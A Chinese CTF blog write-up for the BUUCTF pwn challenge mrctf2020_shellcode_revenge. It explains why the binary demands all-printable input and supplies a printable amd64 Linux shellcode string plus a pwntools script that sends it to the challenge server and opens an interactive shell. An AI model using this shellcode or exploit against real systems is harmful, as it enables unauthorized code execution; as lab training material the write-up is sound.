[BUUCTF-pwn]——mrctf2020_shellcode_revenge(可见字符shellcode)(内涵peak小知识)
[BUUCTF-pwn]——mrctf2020_shellcode_revenge(可见字符shellcode)
检查了下保护发现NX 没有开,肯定要自己写shellcode呀。
不过这道题,刷新了我的认知。众所周知,手写的shellcode里面肯定有很多不可见字符。第一次碰到可见的shellcode。
看下IDA, 不能反汇编不过问题不大,没事.
个人建议,看汇编的时候,建议看流程图,更加直观
将shellcode写入,那个buf
不过下面肯定大于0呀.rbp + var_8是我们输入字符串的长度.发生转跳
箭头的地方我们不希望发送转跳,这样我们就可以直接call rax了.rax指向的就是我们的buf.
但是eax为0, rbp + var_8是我们输入字符串的长度.肯定发送转跳
幸好接下来, 可以再次转跳回来,不过要求就是每个字符的ascii码 ,必须大于0x60, 小于0x7a或者一堆, 自己可以慢慢看.
总结就是可见字符可以重新转跳,并且eax会+ 1, 当所有的shellcode为可见字符时, 上面就不会发生转跳我们就可以执行call rax.
也就是我们的shellcode了
peak小知识
- 函数返回值,一般都会放在eax寄存器里面.
- amd64, linux可见字符shellcode 为
'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
exploit
from pwn import *
p = remote("node3.buuoj.cn",28153)
payload = 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
p.send(payload)
p.interactive()
[BUUCTF-pwn]——mrctf2020_shellcode_revenge(可见字符shellcode)(内涵peak小知识)相关推荐
- [攻防世界 pwn]——pwn1(内涵peak小知识)
[攻防世界 pwn]--pwn1 题目地址:https://adworld.xctf.org.cn/ 题目: peak小知识 这道题目的关键就是泄露canary,通常我们泄露canary有两种方法,遇 ...
- [攻防世界 pwn]——string(内涵peak小知识)
[攻防世界 pwn]--string 题目地址:https://adworld.xctf.org.cn/ 题目: peak小知识 mmap函数作用,mmap主要是将文件映射到一段内存去同时设置那段内存 ...
- [攻防世界 pwn]——time_formatter(内涵peak小知识)
[攻防世界 pwn]--time_formatter 题目地址: https://adworld.xctf.org.cn/ 题目: 这是一道堆利用的题, UAFF(use After Free)漏洞. ...
- [Jarvis OJ - PWN]——Typo(内涵peak小知识)
[Jarvis OJ - PWN]--Typo 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先check一下, 是arm架构.还是第一次遇到. pe ...
- [BUUCTF-pwn]——[极客大挑战 2019]Not Bad(ORW)(内涵peak小知识)
[BUUCTF-pwn]--[极客大挑战 2019]Not Bad 又是一道收获满满的题目. peak小知识 seccomp: seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的sy ...
- [BUUCTF-pwn]——picoctf_2018_leak_me(内涵peak小知识)
[BUUCTF-pwn]--picoctf_2018_leak_me 题目没什么难度,但是可能反汇编的时候你们可能会出现一些问题. peak小知识 pwn题,有时会碰到无法反汇编的情况,大多数情况下, ...
- [BUUCTF-pwn]——ciscn_2019_es_2(内涵peak小知识)
[BUUCTF-pwn]--ciscn_2019_es_2 题目地址: https://buuoj.cn/challenges#ciscn_2019_es_2 这是一道栈劫持的题,第一次写这种题的题解 ...
- [BUUCTF]PWN——mrctf2020_shellcode_revenge(可见字符shellcode)
mrctf2020_shellcode_revenge 例行检查,64位程序,开启了RELRO和PIE 本地运行看一下大概的情况 64位ida载入,没法f5,直接看汇编 jg大于则跳转,jl小于则跳转 ...
- 持续更新 BUUCTF——PWN(一)
文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
最新文章
- pandas describe函数_PANDAS: 新手教程 一
- boost::mpi模块指针序列化测试
- b700a怎么连蓝牙_小身材有大功能,小米蓝牙耳机AirDots青春版初体验
- 转 STL hash_map map
- SpringBoot基础篇日志管理之默认配置
- Step by Step 创建一个WCF Service
- TIT 计算机图形学 实验一 十二面体线框模型
- 教你制作高逼格的技术分享Keynote(PPT)
- 取消参考文献自动编号_取消参考文献引用 - 卡饭网
- pytorch之拿训练好的LeNet模型测试自己的手写图片预测失败
- java计算机毕业设计springboot基汽车租赁系统管理系统
- RabbitMQ 开发时指定消息消费者的方式
- HNUST OJ 2293 贪吃蛇吃苹果
- Elasticsearch 5.0 rollover api 学习
- 口语语汇单词篇(10)
- 针对零基础的UE开发(05)
- kali ifconfig没有wlan0的解决方法
- template(模板)的介绍以及使用方法
- 2022 Robocom世界机器人开发者大赛 CAIP编程赛道 本科组-省赛 挨打记录+题解
- 亚历山大·谢尔盖耶维奇·普希金
热门文章
- C++ Primer 第十六章 模板与范型编程
- 面试ASP.NET程序员的笔试题和机试题(转,有点意思,答案不是很标准)
- Day14作业 二、有两个List集合怎么取两个无重复的并集
- [译] APT分析报告:04.Kraken - 新型无文件APT攻击利用Windows错误报告服务逃避检测
- [网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及防御机理
- C# VS2012操作word文档 (一).创建文档
- iOS逆向之深入解析MachO文件
- 2017年第八届蓝桥杯C/C++ A组国赛 —— 第一题:平方十位数
- 信息学奥赛一本通(C++)在线评测系统——基础(一)C++语言——1098:质因数分解
- 信息学奥赛一本通(C++)在线评测系统——基础(一)C++语言——1075:药房管理